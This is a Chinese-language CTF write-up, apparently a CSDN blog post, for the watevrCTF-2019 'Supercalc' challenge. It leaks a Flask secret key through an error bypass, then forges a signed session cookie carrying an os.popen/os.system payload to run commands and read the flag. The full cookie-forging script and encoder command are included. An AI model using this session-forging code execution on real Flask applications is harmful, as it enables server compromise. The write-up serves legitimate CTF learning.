[watevrCTF-2019]Supercalc

在这里插入图片描述
看到这种题很容易想到是模板注入

直接测试
在这里插入图片描述
有过滤,之前刷过flasksession伪造的题目
抓包查看cookie
在这里插入图片描述
可能是JWT伪造
先去github找个脚本解一下cookie
脚本

在这里插入图片描述

可以发现这里面的cookie刚好就是我们刚刚提交的东西
题目意思够清楚了,接着就是如何伪造session了
而想要伪造必须要拿到secrect_key,而由于直接输入{{}}不可行。那就看他有没有地方可以报错
在这里插入图片描述
可以发现1/0报错了
可是由于输入{{}}不可以,学到个新思路,用注释来绕过
在这里插入图片描述
可以发现通过注释我们可以直接绕过,接着就是读取key了
在这里插入图片描述
接着利用这个脚本直接生成

from flask.sessions import SecureCookieSessionInterface

secret_key = "cded826a1e89925035cc05f0907855f7"

class FakeApp:
    secret_key = secret_key


fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
    {"history": [{"code": '__import__("os").popen("ls ").read()'}]}
)
print(cookie)

也可以用刚刚github那个脚本
注意用python3

python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history':[{'code':'__import__(os).system(\"ls \")'}]}"```

将cookie放上去
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200925211347323.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1NvcFJvbWVv,size_16,color_FFFFFF,t_70#pic_center)
查看flag.txt即可


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值